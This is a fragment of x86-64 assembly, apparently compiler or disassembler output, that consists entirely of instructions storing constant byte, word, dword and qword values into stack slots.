movabs rax, 0x70b6b56bd906ec
mov qword [rsp + 0x3450], rax
movabs rax, 0x747fe5364c918a
mov qword [rsp + 0x3458], rax
mov byte [rsp + 0x125], 0xb0
mov byte [rsp + 0x126], 0x3e
mov dword [rsp + 0x1dbc], 0x3d144a7b
movabs rax, 0x7c6af89d48183c
mov qword [rsp + 0x3460], rax
movabs rax, 0x7aa32845ec3c47
mov qword [rsp + 0x3468], rax
movabs rax, 0x7ce2b4d6ea920e
mov qword [rsp + 0x3470], rax
mov byte [rsp + 0x127], 0x49
mov eax, 0x7c1
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x1dc0], 0x3d90cde7
mov dword [rsp + 0x1dc4], 0xdb33
mov eax, 0x732
mov word [rsp + 0x8f0], ax
mov eax, 0xdd5
mov word [rsp + 0x8f4], ax
mov byte [rsp + 0x128], 0x48
mov dword [rsp + 0x1dc8], 0x64a46aa6
mov byte [rsp + 0x129], 0x10
movabs rax, 0x73e388cb600249
mov qword [rsp + 0x3478], rax
mov eax, 0x2c3
mov word [rsp + 0x8f8], ax
mov dword [rsp + 0x1dcc], 0x44fa
mov dword [rsp + 0x1dd0], 0x1eb23efb
mov byte [rsp + 0x12a], 0x5a
movabs rax, 0x77154b301dd202
mov qword [rsp + 0x3480], rax
mov eax, 0xa67
mov word [rsp + 0x8fc], ax
mov eax, 0x46f
mov word [rsp + 0x900], ax
mov byte [rsp + 0x12b], 0xf
mov dword [rsp + 0x1dd4], 0x8e48
mov eax, 0x131
mov word [rsp + 0x904], ax
mov eax, 0x473
mov word [rsp + 0x908], ax
mov eax, 0x923
mov word [rsp + 0x90c], ax
mov dword [rsp + 0x1dd8], 0x4659e595
mov dword [rsp + 0x1ddc], 0x760c8d26
movabs rax, 0x728c12062f6831
mov qword [rsp + 0x3488], rax
movabs rax, 0x762ea04056cb49
mov qword [rsp + 0x3490], rax
movabs rax, 0x78d54fc64b6832
mov qword [rsp + 0x3498], rax
movabs rax, 0x78f15c17c3213e
mov qword [rsp + 0x34a0], rax
mov eax, 0x9e2
mov word [rsp + 0x910], ax
movabs rax, 0x7d90c9ea9740dd
mov qword [rsp + 0x34a8], rax
mov byte [rsp + 0x12c], 0xbe
mov byte [rsp + 0x12d], 0x18
mov eax, 0xc67
mov word [rsp + 0x914], ax
mov dword [rsp + 0x1de0], 0x43f5acb0
mov dword [rsp + 0x1de4], 0x597a
mov byte [rsp + 0x12e], 0x75
movabs rax, 0x729843cf184949
mov qword [rsp + 0x34b0], rax
mov byte [rsp + 0x12f], 0x72
movabs rax, 0x70c11cc0d896b0
mov qword [rsp + 0x34b8], rax
mov dword [rsp + 0x1de8], 0xdffb
movabs rax, 0x74dee3ea8f1ae1
mov qword [rsp + 0x34c0], rax
mov eax, 0x8be
mov word [rsp + 0x918], ax
movabs rax, 0x75e37ff31f5699
mov qword [rsp + 0x34c8], rax
mov dword [rsp + 0x1dec], 0x72fe
mov eax, 0x437
mov word [rsp + 0x91c], ax
mov eax, 0xefc
mov word [rsp + 0x920], ax
mov eax, 0xe7c
mov word [rsp + 0x924], ax
mov dword [rsp + 0x1df0], 0x318c549c
mov eax, 0xbc7
mov word [rsp + 0x928], ax
mov byte [rsp + 0x130], 0x86
mov byte [rsp + 0x131], 0xea
movabs rax, 0x77b961faa31b3b
mov qword [rsp + 0x34d0], rax
movabs rax, 0x78905401cf4ef2
mov qword [rsp + 0x34d8], rax
mov byte [rsp + 0x132], 0x81
mov eax, 0xb4a
mov word [rsp + 0x92c], ax
movabs rax, 0x78839c78bc8f34
mov qword [rsp + 0x34e0], rax
mov byte [rsp + 0x133], 0x36
mov eax, 0x6c
mov word [rsp + 0x930], ax
movabs rax, 0x7de9657a4843b6
mov qword [rsp + 0x34e8], rax
mov dword [rsp + 0x1df4], 0x475cfe55
mov dword [rsp + 0x1df8], 0xa47f
mov dword [rsp + 0x1dfc], 0xdda1
mov byte [rsp + 0x134], 0x62
movabs rax, 0x7cef2707c52002
mov qword [rsp + 0x34f0], rax
movabs rax, 0x77b2828d014dda
mov qword [rsp + 0x34f8], rax
mov eax, 0x7c4
mov word [rsp + 0x934], ax
mov byte [rsp + 0x135], 0x3d
mov eax, 0x1bc
mov word [rsp + 0x938], ax
mov dword [rsp + 0x1e00], 0x17f3
mov eax, 0xe4
mov word [rsp + 0x93c], ax
mov eax, 0xd4d
mov word [rsp + 0x940], ax
mov byte [rsp + 0x136], 0xdb
mov eax, 0x838
mov word [rsp + 0x944], ax
mov dword [rsp + 0x1e04], 0x7b3565a5
mov eax, 0x392
mov word [rsp + 0x948], ax
mov eax, 0x4d2
mov word [rsp + 0x94c], ax
movabs rax, 0x759655301a2c2b
mov qword [rsp + 0x3500], rax
mov eax, 0x851
mov word [rsp + 0x950], ax
mov dword [rsp + 0x1e08], 0x7f32
mov dword [rsp + 0x1e0c], 0xcdb1
movabs rax, 0x7e6e06770c2814
mov qword [rsp + 0x3508], rax
mov eax, 0x151
mov word [rsp + 0x954], ax
mov dword [rsp + 0x1e10], 0x9cb0
mov eax, 0x6b1
mov word [rsp + 0x958], ax
mov eax, 0x16b
mov word [rsp + 0x95c], ax
movabs rax, 0x7dfab21ac41c0e
mov qword [rsp + 0x3510], rax
mov eax, 0x42e
mov word [rsp + 0x960], ax
movabs rax, 0x77be7081a3cb7c
mov qword [rsp + 0x3518], rax
mov eax, 0xce7
mov word [rsp + 0x964], ax
mov eax, 0x166
mov word [rsp + 0x968], ax
movabs rax, 0x7631f3ec5c1598
mov qword [rsp + 0x3520], rax
mov dword [rsp + 0x1e14], 0x2346c338
mov eax, 0x20
mov word [rsp + 0x96c], ax
mov eax, 0x146
mov word [rsp + 0x970], ax
mov eax, 0x242
mov word [rsp + 0x974], ax
mov eax, 0x657
mov word [rsp + 0x978], ax
mov byte [rsp + 0x137], 0xd6
mov eax, 0xd9b
mov word [rsp + 0x97c], ax
mov byte [rsp + 0x138], 0x1a
mov dword [rsp + 0x1e18], 0x1c565a80
mov eax, 0x547
mov word [rsp + 0x980], ax
movabs rax, 0x7e89788fb53cd8
mov qword [rsp + 0x3528], rax
mov dword [rsp + 0x1e1c], 0x9c1d
mov eax, 0x75b
mov word [rsp + 0x984], ax
mov dword [rsp + 0x1e20], 0x79e1a2af
mov eax, 0x63a
mov word [rsp + 0x988], ax
movabs rax, 0x7964377ce1144b
mov qword [rsp + 0x3530], rax
mov byte [rsp + 0x139], 0x7b
movabs rax, 0x7b48b8cc773d0e
mov qword [rsp + 0x3538], rax
mov byte [rsp + 0x13a], 0x91
movabs rax, 0x7e5c698bcc6cec
mov qword [rsp + 0x3540], rax
mov byte [rsp + 0x13b], 0x6c
mov dword [rsp + 0x1e24], 0xc979
mov eax, 0x5f4
mov word [rsp + 0x98c], ax
movabs rax, 0x71f3823aab2471
mov qword [rsp + 0x3548], rax
mov eax, 0x75
mov word [rsp + 0x990], ax
movabs rax, 0x7d0a44f2cbcfc6
mov qword [rsp + 0x3550], rax
mov byte [rsp + 0x13c], 0x72
mov byte [rsp + 0x13d], 0xdf
mov eax, 0x129
mov word [rsp + 0x994], ax
mov byte [rsp + 0x13e], 0x2a
mov eax, 0x6ff
mov word [rsp + 0x998], ax
mov eax, 0xe6f
mov word [rsp + 0x99c], ax
mov byte [rsp + 0x13f], 0x7a
movabs rax, 0x78cb793410195c
mov qword [rsp + 0x3558], rax
movabs rax, 0x710074d3bfc96a
mov qword [rsp + 0x3560], rax
mov byte [rsp + 0x140], 0x77
mov byte [rsp + 0x141], 0x15
mov byte [rsp + 0x142], 0x2b
mov byte [rsp + 0x143], 0x64
movabs rax, 0x7c35606e957576
mov qword [rsp + 0x3568], rax
mov eax, 0x9d3
mov word [rsp + 0x9a0], ax
mov eax, 0xb
mov word [rsp + 0x9a4], ax
movabs rax, 0x76d3ac466aa4d3
mov qword [rsp + 0x3570], rax
mov dword [rsp + 0x1e28], 0xaf3c77a
movabs rax, 0x765fa4aab3dbc2
mov qword [rsp + 0x3578], rax
mov byte [rsp + 0x144], 0x39
movabs rax, 0x7b730e96dfe1a7
mov qword [rsp + 0x3580], rax
mov eax, 0x41c
mov word [rsp + 0x9a8], ax
mov eax, 0xe68
mov word [rsp + 0x9ac], ax
mov dword [rsp + 0x1e2c], 0x5e70fa5e
mov eax, 0x6f0
mov word [rsp + 0x9b0], ax
mov byte [rsp + 0x145], 0x57
mov dword [rsp + 0x1e30], 0x1de0
movabs rax, 0x75fe9f02b54f00
mov qword [rsp + 0x3588], rax
mov eax, 0xdd3
mov word [rsp + 0x9b4], ax
movabs rax, 0x7d9c7daa7c6b8c
mov qword [rsp + 0x3590], rax
mov eax, 0xa90
mov word [rsp + 0x9b8], ax
movabs rax, 0x7a81ed8f7a1710
mov qword [rsp + 0x3598], rax
movabs rax, 0x753854e6380405
mov qword [rsp + 0x35a0], rax
movabs rax, 0x770aba409ff47e
mov qword [rsp + 0x35a8], rax
mov eax, 0x2c0
mov word [rsp + 0x9bc], ax
movabs rax, 0x73a6692101ea50
mov qword [rsp + 0x35b0], rax
movabs rax, 0x71b268618f1279
mov qword [rsp + 0x35b8], rax
movabs rax, 0x7d4d49c5f4aa1a
mov qword [rsp + 0x35c0], rax
mov dword [rsp + 0x1e34], 0x9547
mov byte [rsp + 0x146], 0x56
movabs rax, 0x7eff12d6ffd9d3
mov qword [rsp + 0x35c8], rax
mov eax, 0xe27
mov word [rsp + 0x9c0], ax
mov eax, 0x455
mov word [rsp + 0x9c4], ax
mov eax, 0xba3
mov word [rsp + 0x9c8], ax
mov eax, 0x84
mov word [rsp + 0x9cc], ax
movabs rax, 0x78775345c55978
mov qword [rsp + 0x35d0], rax
mov byte [rsp + 0x147], 0x5e
movabs rax, 0x7dcbe03ce9d99e
mov qword [rsp + 0x35d8], rax
mov eax, 0x7d9
mov word [rsp + 0x9d0], ax
mov dword [rsp + 0x1e38], 0x8b19
movabs rax, 0x72f154ffa31f2b
mov qword [rsp + 0x35e0], rax
mov byte [rsp + 0x148], 0x44
mov byte [rsp + 0x149], 0x43
mov byte [rsp + 0x14a], 0xf6
mov eax, 0x6d0
mov word [rsp + 0x9d4], ax
mov byte [rsp + 0x14b], 0xfd
mov eax, 0x3dc
mov word [rsp + 0x9d8], ax
mov dword [rsp + 0x1e3c], 0x53dd6467
mov byte [rsp + 0x14c], 0x63
mov eax, 0x6df
mov word [rsp + 0x9dc], ax
movabs rax, 0x714b3dadfbace3
mov qword [rsp + 0x35e8], rax
mov eax, 0x3f5
mov word [rsp + 0x9e0], ax
mov eax, 0x8de
mov word [rsp + 0x9e4], ax
mov eax, 0x7b7
mov word [rsp + 0x9e8], ax
mov eax, 0x5e8
mov word [rsp + 0x9ec], ax
mov dword [rsp + 0x1e40], 0xcd08
mov dword [rsp + 0x1e44], 0x1358
movabs rax, 0x79e10df1f8f7cc
mov qword [rsp + 0x35f0], rax
movabs rax, 0x78a00764a819eb
mov qword [rsp + 0x35f8], rax
mov eax, 0xf69
mov word [rsp + 0x9f0], ax
mov eax, 0x660
mov word [rsp + 0x9f4], ax
mov eax, 0x2a8
mov word [rsp + 0x9f8], ax
movabs rax, 0x73cfb048df0ea3
mov qword [rsp + 0x3600], rax
mov eax, 0x76f
mov word [rsp + 0x9fc], ax
mov byte [rsp + 0x14d], 0x51
movabs rax, 0x73c9804b74b0e3
mov qword [rsp + 0x3608], rax
mov dword [rsp + 0x1e48], 0x7eee
movabs rax, 0x70b0a95842c96a
mov qword [rsp + 0x3610], rax
mov eax, 0xb2
mov word [rsp + 0xa00], ax
mov eax, 0x51c
mov word [rsp + 0xa04], ax
mov eax, 0x605
mov word [rsp + 0xa08], ax
mov dword [rsp + 0x1e4c], 0xb23c
mov dword [rsp + 0x1e50], 0x1711647b
mov eax, 0xc37
mov word [rsp + 0xa0c], ax
movabs rax, 0x78fc3e4a79af69
mov qword [rsp + 0x3618], rax
mov eax, 0x772
mov word [rsp + 0xa10], ax
movabs rax, 0x76f3a647433856
mov qword [rsp + 0x3620], rax
mov byte [rsp + 0x14e], 0x16
movabs rax, 0x74d0bdee0173d3
mov qword [rsp + 0x3628], rax
mov eax, 0xca3
mov word [rsp + 0xa14], ax
movabs rax, 0x7256e417eac092
mov qword [rsp + 0x3630], rax
mov eax, 0x6c7
mov word [rsp + 0xa18], ax
mov eax, 0x4f9
mov word [rsp + 0xa1c], ax
mov eax, 0x5b8
mov word [rsp + 0xa20], ax
mov eax, 0x645
mov word [rsp + 0xa24], ax
mov eax, 0x3e8
mov word [rsp + 0xa28], ax
mov eax, 0x7d6
mov word [rsp + 0xa2c], ax
mov eax, 0x2fe
mov word [rsp + 0xa30], ax
mov eax, 0x25e
mov word [rsp + 0xa34], ax
mov eax, 0x62c
mov word [rsp + 0xa38], ax
mov eax, 0x7b
mov word [rsp + 0xa3c], ax
movabs rax, 0x70644e15c63b37
mov qword [rsp + 0x3638], rax
mov eax, 0xca8
mov word [rsp + 0xa40], ax
mov eax, 0x3c8
mov word [rsp + 0xa44], ax
mov eax, 0x666
mov word [rsp + 0xa48], ax
mov eax, 0xe6e
mov word [rsp + 0xa4c], ax
mov eax, 0x75d
mov word [rsp + 0xa50], ax
mov dword [rsp + 0x1e54], 0xd3f6
mov dword [rsp + 0x1e58], 0x2bc92f6
mov eax, 0x19b
mov word [rsp + 0xa54], ax
mov byte [rsp + 0x14f], 0x72
mov dword [rsp + 0x1e5c], 0x1118
mov byte [rsp + 0x150], 0x52
mov byte [rsp + 0x151], 0x50
mov dword [rsp + 0x1e60], 0x25385511
mov dword [rsp + 0x1e64], 0x3a9c6a30
mov byte [rsp + 0x152], 0x29
movabs rax, 0x731141f44eb570
mov qword [rsp + 0x3640], rax
mov dword [rsp + 0x1e68], 0xce2a
mov eax, 0x95
mov word [rsp + 0xa58], ax
mov dword [rsp + 0x1e6c], 0xa2d6
mov eax, 0x162
mov word [rsp + 0xa5c], ax
mov eax, 0x375
mov word [rsp + 0xa60], ax
movabs rax, 0x7720256cd0ea9b
mov qword [rsp + 0x3648], rax
mov byte [rsp + 0x153], 0x57
mov byte [rsp + 0x154], 0x20
mov dword [rsp + 0x1e70], 0x9b1c
mov eax, 0x36c
mov word [rsp + 0xa64], ax
movabs rax, 0x73515655b76cb8
mov qword [rsp + 0x3650], rax
mov eax, 0x3ab
mov word [rsp + 0xa68], ax
mov eax, 0x896
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0x155], 0x18
mov eax, 0x7f9
mov word [rsp + 0xa70], ax
mov eax, 0xe8d
mov word [rsp + 0xa74], ax
mov eax, 0x1fc
mov word [rsp + 0xa78], ax
movabs rax, 0x7a1cd7eaba4a2f
mov qword [rsp + 0x3658], rax
mov eax, 0x388
mov word [rsp + 0xa7c], ax
mov eax, 0x840
mov word [rsp + 0xa80], ax
movabs rax, 0x720fe29764b598
mov qword [rsp + 0x3660], rax
movabs rax, 0x73faf3e1e999a3
mov qword [rsp + 0x3668], rax
mov eax, 0x6e2
mov word [rsp + 0xa84], ax
movabs rax, 0x737c99fd6b27e4
mov qword [rsp + 0x3670], rax
mov eax, 0x683
mov word [rsp + 0xa88], ax
movabs rax, 0x7ac892777471c7
mov qword [rsp + 0x3678], rax
mov eax, 0x4bd
mov word [rsp + 0xa8c], ax
mov eax, 0xd84
mov word [rsp + 0xa90], ax
movabs rax, 0x7effd96e09dfcf
mov qword [rsp + 0x3680], rax
mov byte [rsp + 0x156], 0x48
mov byte [rsp + 0x157], 0x46
mov byte [rsp + 0x158], 0x31
mov eax, 0xd30
mov word [rsp + 0xa94], ax
mov dword [rsp + 0x1e74], 0x4a46
movabs rax, 0x70361c041bd388
mov qword [rsp + 0x3688], rax
movabs rax, 0x72f18de2eef788
mov qword [rsp + 0x3690], rax
mov byte [rsp + 0x159], 0xa
mov eax, 0x475
mov word [rsp + 0xa98], ax
mov byte [rsp + 0x15a], 3
mov dword [rsp + 0x1e78], 0xb850
mov eax, 0xe1c
mov word [rsp + 0xa9c], ax
movabs rax, 0x75fe3b03bea5bd
mov qword [rsp + 0x3698], rax
mov byte [rsp + 0x15b], 0x40
mov dword [rsp + 0x1e7c], 0x18a
movabs rax, 0x709a516ad97e44
mov qword [rsp + 0x36a0], rax
mov eax, 0x1d9
mov word [rsp + 0xaa0], ax
movabs rax, 0x713a0a6c86588c
mov qword [rsp + 0x36a8], rax
mov dword [rsp + 0x1e80], 0x79285189
mov byte [rsp + 0x15c], 0x68
movabs rax, 0x74cf3b028ef44d
mov qword [rsp + 0x36b0], rax
mov byte [rsp + 0x15d], 0x46
mov eax, 0x59a
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0x15e], 0xa
movabs rax, 0x7d665c9d4743b0
mov qword [rsp + 0x36b8], rax
mov dword [rsp + 0x1e84], 0xad74
movabs rax, 0x750f0930b25a26
mov qword [rsp + 0x36c0], rax
mov byte [rsp + 0x15f], 0x6a
mov dword [rsp + 0x1e88], 0x5060
mov byte [rsp + 0x160], 0x6d
movabs rax, 0x7c7a5632860168
mov qword [rsp + 0x36c8], rax
mov byte [rsp + 0x161], 0x69
mov dword [rsp + 0x1e8c], 0x455d
mov byte [rsp + 0x162], 0xae
mov dword [rsp + 0x1e90], 0x1e3a
mov eax, 0x4a2
mov word [rsp + 0xaa8], ax
mov byte [rsp + 0x163], 0
movabs rax, 0x7ea2ee84891622
mov qword [rsp + 0x36d0], rax
movabs rax, 0x721dabc8ab497a
mov qword [rsp + 0x36d8], rax
mov eax, 0x42
mov word [rsp + 0xaac], ax
mov byte [rsp + 0x164], 0x18
movabs rax, 0x78378f66c8e4ec
mov qword [rsp + 0x36e0], rax
movabs rax, 0x7ab08575cd6e2f
mov qword [rsp + 0x36e8], rax
mov byte [rsp + 0x165], 0xc4
mov byte [rsp + 0x166], 0xc3
mov byte [rsp + 0x167], 0x26
mov byte [rsp + 0x168], 0xa7
mov eax, 0x330
mov word [rsp + 0xab0], ax
mov eax, 0xd5b
mov word [rsp + 0xab4], ax
mov dword [rsp + 0x1e94], 0x45d52ecd
mov eax, 0x5a0
mov word [rsp + 0xab8], ax
mov byte [rsp + 0x169], 0x12
movabs rax, 0x778b64e3a733df
mov qword [rsp + 0x36f0], rax
movabs rax, 0x7bfb95a6cc1336
mov qword [rsp + 0x36f8], rax
movabs rax, 0x7277b0db94c946
mov qword [rsp + 0x3700], rax
movabs rax, 0x7ad3f9ae26ea94
mov qword [rsp + 0x3708], rax
movabs rax, 0x70aae3abd3b290
mov qword [rsp + 0x3710], rax
movabs rax, 0x74abbe18f02076
mov qword [rsp + 0x3718], rax
mov eax, 0xe2f
mov word [rsp + 0xabc], ax
mov byte [rsp + 0x16a], 0x99
mov eax, 0x8da
mov word [rsp + 0xac0], ax
mov eax, 0x19e
mov word [rsp + 0xac4], ax
mov eax, 0xf7
mov word [rsp + 0xac8], ax
movabs rax, 0x760fa3224c5e09
mov qword [rsp + 0x3720], rax
movabs rax, 0x7b055a021656a7
mov qword [rsp + 0x3728], rax
mov byte [rsp + 0x16b], 0x64
movabs rax, 0x74771db340115b
mov qword [rsp + 0x3730], rax
mov byte [rsp + 0x16c], 1
mov eax, 0xdff
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x1e98], 0x33c26a23
movabs rax, 0x7bebc35f35951b
mov qword [rsp + 0x3738], rax
movabs rax, 0x7a1bb99d7b24f2
mov qword [rsp + 0x3740], rax
mov dword [rsp + 0x1e9c], 0xaf87
mov byte [rsp + 0x16d], 0xb7
mov byte [rsp + 0x16e], 0x17
mov dword [rsp + 0x1ea0], 0x27f2eace
mov eax, 0xf5
mov word [rsp + 0xad0], ax
mov byte [rsp + 0x16f], 0x7b
mov byte [rsp + 0x170], 2
mov eax, 0x407
mov word [rsp + 0xad4], ax
movabs rax, 0x79aef43de3f3e9
mov qword [rsp + 0x3748], rax
mov dword [rsp + 0x1ea4], 0x6230
mov eax, 0xb1f
mov word [rsp + 0xad8], ax
movabs rax, 0x7751647a27027d
mov qword [rsp + 0x3750], rax
mov byte [rsp + 0x171], 0x40
movabs rax, 0x7062d34b080688
mov qword [rsp + 0x3758], rax
mov eax, 0x278
mov word [rsp + 0xadc], ax
mov dword [rsp + 0x1ea8], 0xe6ab
movabs rax, 0x7cfd2fb90ba5d0
mov qword [rsp + 0x3760], rax
mov eax, 0xe40
mov word [rsp + 0xae0], ax
mov dword [rsp + 0x1eac], 0x7ae17969
mov eax, 0x13
mov word [rsp + 0xae4], ax
mov byte [rsp + 0x172], 0x96
mov dword [rsp + 0x1eb0], 0x81cf
mov eax, 0x265
mov word [rsp + 0xae8], ax
mov byte [rsp + 0x173], 0x2d
movabs rax, 0x7d2b32646c0726
mov qword [rsp + 0x3768], rax
movabs rax, 0x7c64870772d492
mov qword [rsp + 0x3770], rax
movabs rax, 0x780baa8ee2d7de
mov qword [rsp + 0x3778], rax
mov eax, 0x479
mov word [rsp + 0xaec], ax
mov eax, 0x583
mov word [rsp + 0xaf0], ax
mov eax, 0x1ba
mov word [rsp + 0xaf4], ax
movabs rax, 0x7866cb63dbb685
mov qword [rsp + 0x3780], rax
mov byte [rsp + 0x174], 0x14
mov eax, 0x238
mov word [rsp + 0xaf8], ax
mov eax, 0xa5b
mov word [rsp + 0xafc], ax
mov dword [rsp + 0x1eb4], 0x71ba
movabs rax, 0x7e99abd4c5f4c9
mov qword [rsp + 0x3788], rax
mov dword [rsp + 0x1eb8], 0x964d
mov dword [rsp + 0x1ebc], 0x2b804efa
movabs rax, 0x7c4f18813027c2
mov qword [rsp + 0x3790], rax
mov byte [rsp + 0x175], 0xc
mov eax, 0x442
mov word [rsp + 0xb00], ax
movabs rax, 0x7c37cc455b48ac
mov qword [rsp + 0x3798], rax
mov byte [rsp + 0x176], 0x31
mov eax, 0x3b8
mov word [rsp + 0xb04], ax
movabs rax, 0x7404ffb6d3bbfd
mov qword [rsp + 0x37a0], rax
movabs rax, 0x702ce866efa477
mov qword [rsp + 0x37a8], rax
mov eax, 0x564
mov word [rsp + 0xb08], ax
mov eax, 0xa38
mov word [rsp + 0xb0c], ax
mov dword [rsp + 0x1ec0], 0x37c2bb7c
mov eax, 0x5b4
mov word [rsp + 0xb10], ax
mov eax, 0x184
mov word [rsp + 0xb14], ax
movabs rax, 0x71e85b27ba1715
mov qword [rsp + 0x37b0], rax
mov eax, 0xd43
mov word [rsp + 0xb18], ax
movabs rax, 0x7acabeebfe1cd0
mov qword [rsp + 0x37b8], rax
movabs rax, 0x798b70b3a412e1
mov qword [rsp + 0x37c0], rax
mov eax, 0x9ba
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x1ec4], 0x6ccb
mov eax, 0x10a
mov word [rsp + 0xb20], ax
mov dword [rsp + 0x1ec8], 0xb180
movabs rax, 0x7d3d1bd35d2f9f
mov qword [rsp + 0x37c8], rax
mov eax, 0x535
mov word [rsp + 0xb24], ax
mov byte [rsp + 0x177], 0xe7
mov byte [rsp + 0x178], 0xd4
mov eax, 0x643
mov word [rsp + 0xb28], ax
movabs rax, 0x710f596d1f866f
mov qword [rsp + 0x37d0], rax
movabs rax, 0x7379694a3b5ab8
mov qword [rsp + 0x37d8], rax
mov byte [rsp + 0x179], 0x75
mov eax, 0x6dd
mov word [rsp + 0xb2c], ax
movabs rax, 0x7c525138d62c1b
mov qword [rsp + 0x37e0], rax
movabs rax, 0x70422cccdfa18e
mov qword [rsp + 0x37e8], rax
movabs rax, 0x76b4fadaa9befb
mov qword [rsp + 0x37f0], rax
movabs rax, 0x73e1c60cd3fdfb
mov qword [rsp + 0x37f8], rax
mov eax, 0x540
mov word [rsp + 0xb30], ax
mov byte [rsp + 0x17a], 0x59
movabs rax, 0x7a9dfb329cf48b
mov qword [rsp + 0x3800], rax
mov eax, 0x5bf
mov word [rsp + 0xb34], ax
mov dword [rsp + 0x1ecc], 0x6b36
movabs rax, 0x7272a344974195
mov qword [rsp + 0x3808], rax
mov dword [rsp + 0x1ed0], 0xa015
mov byte [rsp + 0x17b], 0x11
mov eax, 0x1c5
mov word [rsp + 0xb38], ax
mov dword [rsp + 0x1ed4], 0x64feda25
mov byte [rsp + 0x17c], 0x2f
mov eax, 0x444
mov word [rsp + 0xb3c], ax
mov dword [rsp + 0x1ed8], 0x665d1d7b
mov eax, 0x16e
mov word [rsp + 0xb40], ax
mov dword [rsp + 0x1edc], 0x75be
mov dword [rsp + 0x1ee0], 0x4c81
movabs rax, 0x7bed66a9695ede
mov qword [rsp + 0x3810], rax
mov eax, 0x19c
mov word [rsp + 0xb44], ax
movabs rax, 0x7b01c1c42ecca3
mov qword [rsp + 0x3818], rax
mov byte [rsp + 0x17d], 0x2f
movabs rax, 0x73aca0135bdd08
mov qword [rsp + 0x3820], rax
mov byte [rsp + 0x17e], 0x1b
movabs rax, 0x73e4ba85751428
mov qword [rsp + 0x3828], rax
mov dword [rsp + 0x1ee4], 0x23c
mov eax, 0x5a8
mov word [rsp + 0xb48], ax
movabs rax, 0x783641ab5b2172
mov qword [rsp + 0x3830], rax
mov eax, 0xa65
mov word [rsp + 0xb4c], ax
mov eax, 0x3ef
mov word [rsp + 0xb50], ax
mov byte [rsp + 0x17f], 0x3c
mov dword [rsp + 0x1ee8], 0x6dc2
mov dword [rsp + 0x1eec], 0xc965
movabs rax, 0x7ca429b5db0fa9
mov qword [rsp + 0x3838], rax
movabs rax, 0x7905c24ffdf911
mov qword [rsp + 0x3840], rax
mov dword [rsp + 0x1ef0], 0x5004
movabs rax, 0x7bdab48db1b76e
mov qword [rsp + 0x3848], rax
mov byte [rsp + 0x180], 0x2e
movabs rax, 0x76591a8d0b10ba
mov qword [rsp + 0x3850], rax
mov eax, 0x63a
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x1ef4], 0x127a
mov eax, 0x570
mov word [rsp + 0xb58], ax
mov dword [rsp + 0x1ef8], 0x54c8c78a
mov eax, 0x909
mov word [rsp + 0xb5c], ax
movabs rax, 0x7d14c176284575
mov qword [rsp + 0x3858], rax
movabs rax, 0x7a8aa2c1f8dbbe
mov qword [rsp + 0x3860], rax
mov dword [rsp + 0x1efc], 0x62ba9a16
mov eax, 0xc1c
mov word [rsp + 0xb60], ax
movabs rax, 0x708360457c6af8
mov qword [rsp + 0x3868], rax
mov eax, 0x422
mov word [rsp + 0xb64], ax
mov byte [rsp + 0x181], 0x16
mov dword [rsp + 0x1f00], 0x7dd68178
mov dword [rsp + 0x1f04], 0x3e5bd263
movabs rax, 0x722d538c3f52a4
mov qword [rsp + 0x3870], rax
mov eax, 0x4a6
mov word [rsp + 0xb68], ax
mov byte [rsp + 0x182], 0x2b
mov eax, 0xb2
mov word [rsp + 0xb6c], ax
mov byte [rsp + 0x183], 0x8d
movabs rax, 0x79980f1f108a3a
mov qword [rsp + 0x3878], rax
mov dword [rsp + 0x1f08], 0x8a41
movabs rax, 0x78cdcb46e05277
mov qword [rsp + 0x3880], rax
mov eax, 0x280
mov word [rsp + 0xb70], ax
movabs rax, 0x77c9845bafde3a
mov qword [rsp + 0x3888], rax
mov eax, 0xb87
mov word [rsp + 0xb74], ax
mov eax, 0x707
mov word [rsp + 0xb78], ax
mov byte [rsp + 0x184], 0x40
mov byte [rsp + 0x185], 0x83
mov eax, 0x31a
mov word [rsp + 0xb7c], ax
movabs rax, 0x759387ed545233
mov qword [rsp + 0x3890], rax
mov eax, 0x996
mov word [rsp + 0xb80], ax
mov dword [rsp + 0x1f0c], 0xadfe
mov eax, 0x27
mov word [rsp + 0xb84], ax
movabs rax, 0x746f8a3dc4ce38
mov qword [rsp + 0x3898], rax
movabs rax, 0x7044c77624b74d
mov qword [rsp + 0x38a0], rax
movabs rax, 0x79e4b64dbe0a8a
mov qword [rsp + 0x38a8], rax
movabs rax, 0x786a771e70b0fb
mov qword [rsp + 0x38b0], rax
mov eax, 0xbf7
mov word [rsp + 0xb88], ax
movabs rax, 0x761c570206a9b1
mov qword [rsp + 0x38b8], rax
mov eax, 0xc9
mov word [rsp + 0xb8c], ax
movabs rax, 0x74090d7b67098e
mov qword [rsp + 0x38c0], rax
mov eax, 0x2ca
mov word [rsp + 0xb90], ax
movabs rax, 0x77b0da5f9791e6
mov qword [rsp + 0x38c8], rax
mov byte [rsp + 0x186], 0x67
mov eax, 0xadb
mov word [rsp + 0xb94], ax
mov byte [rsp + 0x187], 0x2c
mov eax, 0xa02
mov word [rsp + 0xb98], ax
mov byte [rsp + 0x188], 8
mov eax, 0x5f5
mov word [rsp + 0xb9c], ax
mov dword [rsp + 0x1f10], 0x3ace6de1
mov eax, 0x23e
mov word [rsp + 0xba0], ax
mov eax, 0xd51
mov word [rsp + 0xba4], ax
mov byte [rsp + 0x189], 0x22
mov byte [rsp + 0x18a], 0xdc
movabs rax, 0x7c0d3965163b22
mov qword [rsp + 0x38d0], rax
mov dword [rsp + 0x1f14], 0x279ec4e9
mov eax, 0x299
mov word [rsp + 0xba8], ax
movabs rax, 0x786284d8a5d6dd
mov qword [rsp + 0x38d8], rax
mov eax, 0x35b
mov word [rsp + 0xbac], ax
movabs rax, 0x74dbc179effc06
mov qword [rsp + 0x38e0], rax
mov eax, 0x82c
mov word [rsp + 0xbb0], ax
mov dword [rsp + 0x1f18], 0xd669
mov dword [rsp + 0x1f1c], 0x599
mov eax, 0x309
mov word [rsp + 0xbb4], ax
mov eax, 0x557
mov word [rsp + 0xbb8], ax
movabs rax, 0x713773c2af161b
mov qword [rsp + 0x38e8], rax
mov byte [rsp + 0x18b], 5
movabs rax, 0x7c9dbfe904bfd4
mov qword [rsp + 0x38f0], rax
movabs rax, 0x729a7d41288c7a
mov qword [rsp + 0x38f8], rax
mov eax, 0x58f
mov word [rsp + 0xbbc], ax
mov eax, 0x2c9
mov word [rsp + 0xbc0], ax
mov eax, 0x763
mov word [rsp + 0xbc4], ax
